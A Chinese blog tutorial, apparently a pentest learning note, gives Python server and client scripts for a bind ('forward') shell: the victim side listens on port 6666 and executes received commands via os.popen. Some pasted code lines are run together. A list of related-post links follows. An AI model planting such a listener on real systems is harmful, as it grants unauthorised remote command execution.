学习渗透怎么能不会shell呢,今天和明天的学习内容就是正向shell和反弹shell啦~~
shell:在计算机科学中,Shell俗称壳(用来区别于核),是指“为使用者提供操作界面”的软件(命令解析器)。它类似于DOS下的command.com和后来的cmd.exe。它接收用户命令,然后调用相应的应用程序。(ps:这个是百度百科的解释啦~~~)
当客户端攻击服务器端时,此时服务器端IP地址已知,所以可以使用正向shell
在这里分别写服务器端代码和客户端代码;注:每次运行时要先开服务器端
服务器端(被攻击,导入模块:import os;import socket)
基本步骤:
1、创建套接字

s=socket.socket()

2、进行绑定(ip:允许连接的ip,服务器端端口)

s.bind(("0.0.0.0",6666))

3、允许连入的主机数

s.listen()

4、创建接口与连入的主机地址

con,addr=s.accept()

具体代码:

#正向shell 服务器端(win7)被攻击的才导入os模块 每次先开的应为服务器端import socket
import oss=socket.socket()
#允许连入的ip,和自己的端口
s.bind(("0.0.0.0",6666))
#一次允许连入的主机数
s.listen(5)
con,addr=s.accept()
print(addr)for i in range(3):cmd=con.recv(1024).decode()print("收到第%d条命令:"%(i+1),cmd)#os.popen返回值为执行过程中的输出内容result=os.popen(cmd).read()if result:con.send(result.encode())#对目录操作需要进行特殊处理else:if cmd[:2] == 'cd':os.chdir(cmd[2:].strip())con.send(b'OK!')
con.close()

客户端(攻击者,导入模块:import socket)
基本步骤:
1、创建套接字,连接服务器(ip:服务器端,端口:服务器端)

s=socket.socket()
s.connect(('127.0.0.1',6666))

2、收发数据

s.send(cmd.encode())
result=s.recv(65536)

3、关闭套接字

s.close()

具体代码:

import sockets=socket.socket()
s.connect(('127.0.0.1',6666))
for i in range(3):cmd=input("第%d条命令:"%(i+1))s.send(cmd.encode())result=s.recv(65536)print(result.decode())
s.close()

实现效果图:
客户端:

服务器端:

enen~~就酱紫,下一篇反弹shell

windows下的正向shell相关推荐

  1. Windows下使用标准Shell接口遍历文件和文件夹

    Windows下使用标准Shell接口遍历文件和文件夹(1) 在Windows中我们经常需要遍历一个文件夹或者遍历一个磁盘.本文介绍如何使用标准的Shell接口进行遍历.在介绍过程中会逐步的实现一个类 ...

  2. Windows下怎么练习shell脚本

    最近对shell脚本编程比较感兴趣,苦于笔者的笔记本是windows而不是linux.而且: 1. win7系统 (看了网上的让我升级到win10之后,win10提供了一个完整的,基于Ubuntu的B ...

  3. windows下jenkins执行shell报错

    创建完Job之后,执行shell脚本报错 Publish] $ sh -xe C:\Windows\TEMP\jenkins1513512433272584870.sh 办法是修改 Manage Je ...

  4. Windows下的反弹shell

    今天学习内容就是反弹shell啦~~ 当服务器端攻击客户端时,此时客户端IP地址未知,所以要使用反向shell 在这里分别写服务器端代码和客户端代码:注:每次运行时要先开服务器端 服务器端(攻击者,导 ...

  5. Windows下VSCode运行shell

    最简单办法安装git并将Git bash目录比如C:\Program Files (x86)\Git\bin\bash.exe添加到环境变量中 VSCode终端输入bash进入Bash模式了,可以执行 ...

  6. windows下通过adb shell进入data目录

    2019独角兽企业重金招聘Python工程师标准>>> http://blog.csdn.net/chrisfxs/article/details/37656083 转载于:http ...

  7. windows下编辑的shell复制到linux无法执行

    是因为格式不对 可用vim编辑器转换格式 在vim中执行命令: set ff=unix 设置打开方式为unix

  8. windows 下执行mysql脚本_Windows下批处理执行MySQL脚本文件

    一. @echo off Setlocal enabledelayedexpansion ::CODER BY Mark_Li POWERD BY iBAT 1.6 cd "C:\Progr ...

  9. 64位虚拟机下asm()语法_一步步学写Windows下的Shellcode

    如何在WIndows下编写一个shellcode?为什么会问这个问题,前段时间在做win下的Exploit,但是都是使用大佬写的shellcode,无法实现个人的一些需求.而网络上编写shellcod ...

最新文章

  1. 跨越企业的“中等收入陷阱”
  2. go语言笔记——切片底层本质是共享数组内存!!!绝对不要用指针指向 slice切片本身已经是一个引用类型就是指针...
  3. VTK:邻接矩阵到 EdgeTable用法实战
  4. IOS8 兼容本地推送
  5. ip中继对接_朗视IPPBX为桃源居中澳实验学校打造IP语音校园!
  6. java.util.ArrayList#add探索
  7. 电子邮件服务器-PostFix
  8. delphi const
  9. MySQL 计算同比环比
  10. window报错:文件系统错误 (-2147219196)
  11. 计算机如何磁盘整理,如何整理磁盘碎片让Win7电脑运行更快?
  12. 2020-03-10
  13. 基于PHP的餐饮行业管理系统
  14. accumulate 的用法
  15. TransUNet阅读笔记与训练尝试
  16. Postman安装(图文)
  17. Elasticsearch索引别名alias操作
  18. 使用代理服务器爬取网站
  19. 解决maven打包的时候依赖jar包打不进去
  20. 《疯狂Java讲义》(第5版) 作者李刚(待重新排版)

热门文章

  1. 【ABAP】如何根据PR号删除PM单的组件
  2. ABAP中查找代码的标准程序
  3. 将密码转化为SAP的格式
  4. 逻辑数据库读取bseg
  5. 香港四大天王影帝情况(截止2016)
  6. 程序员跳槽的10个建议
  7. SAP MIR7输入数量自动金额的设置
  8. 销售运作计划(SOP)
  9. SAP生产订单状态详解
  10. SAP 外向交货的包装功能实现